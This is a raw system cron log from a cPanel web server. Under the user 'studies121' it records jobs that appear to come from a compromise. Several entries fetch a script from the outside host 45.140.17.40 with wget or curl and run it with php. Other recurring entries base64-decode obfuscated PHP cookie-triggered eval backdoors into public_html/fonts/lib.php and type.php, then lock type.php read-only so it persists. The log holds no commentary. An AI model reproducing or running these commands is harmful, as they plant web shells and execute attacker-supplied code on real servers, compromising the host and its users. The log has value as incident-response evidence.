Sep  7 19:32:01 ip-184-168-122-23 CROND[7058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:32:01 ip-184-168-122-23 CROND[7059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:32:01 ip-184-168-122-23 CROND[7060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:33:02 ip-184-168-122-23 CROND[7260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:33:02 ip-184-168-122-23 CROND[7259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:33:02 ip-184-168-122-23 CROND[7261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:33:02 ip-184-168-122-23 CROND[7262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:34:01 ip-184-168-122-23 CROND[7357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:34:01 ip-184-168-122-23 CROND[7358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:34:01 ip-184-168-122-23 CROND[7356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:34:01 ip-184-168-122-23 CROND[7359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:34:01 ip-184-168-122-23 CROND[7360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:35:01 ip-184-168-122-23 CROND[7453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:35:01 ip-184-168-122-23 CROND[7462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:35:01 ip-184-168-122-23 CROND[7455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:35:01 ip-184-168-122-23 CROND[7457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:35:01 ip-184-168-122-23 CROND[7460]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:35:01 ip-184-168-122-23 CROND[7456]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 19:35:01 ip-184-168-122-23 CROND[7461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:35:01 ip-184-168-122-23 CROND[7458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:36:01 ip-184-168-122-23 CROND[7555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:36:01 ip-184-168-122-23 CROND[7557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:36:01 ip-184-168-122-23 CROND[7560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:36:01 ip-184-168-122-23 CROND[7558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:36:01 ip-184-168-122-23 CROND[7559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:37:01 ip-184-168-122-23 CROND[7665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:37:01 ip-184-168-122-23 CROND[7668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:37:01 ip-184-168-122-23 CROND[7666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:37:01 ip-184-168-122-23 CROND[7669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:38:01 ip-184-168-122-23 CROND[7755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:38:01 ip-184-168-122-23 CROND[7757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:38:01 ip-184-168-122-23 CROND[7756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:38:01 ip-184-168-122-23 CROND[7758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:38:01 ip-184-168-122-23 CROND[7759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:39:01 ip-184-168-122-23 CROND[7845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:39:01 ip-184-168-122-23 CROND[7846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:39:01 ip-184-168-122-23 CROND[7847]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 19:39:01 ip-184-168-122-23 CROND[7849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:39:01 ip-184-168-122-23 CROND[7850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:40:01 ip-184-168-122-23 CROND[8033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:40:01 ip-184-168-122-23 CROND[8034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:40:01 ip-184-168-122-23 CROND[8035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:40:01 ip-184-168-122-23 CROND[8039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:40:01 ip-184-168-122-23 CROND[8037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:40:01 ip-184-168-122-23 CROND[8038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:40:01 ip-184-168-122-23 CROND[8036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:40:01 ip-184-168-122-23 CROND[8041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:41:01 ip-184-168-122-23 CROND[8140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:41:01 ip-184-168-122-23 CROND[8141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:41:01 ip-184-168-122-23 CROND[8143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:41:01 ip-184-168-122-23 CROND[8142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:42:01 ip-184-168-122-23 CROND[8219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:42:01 ip-184-168-122-23 CROND[8221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:42:01 ip-184-168-122-23 CROND[8220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:42:01 ip-184-168-122-23 CROND[8223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:42:01 ip-184-168-122-23 CROND[8222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:43:01 ip-184-168-122-23 CROND[8307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:43:01 ip-184-168-122-23 CROND[8309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:43:01 ip-184-168-122-23 CROND[8306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:43:01 ip-184-168-122-23 CROND[8308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:44:01 ip-184-168-122-23 CROND[8386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:44:01 ip-184-168-122-23 CROND[8389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:44:01 ip-184-168-122-23 CROND[8388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
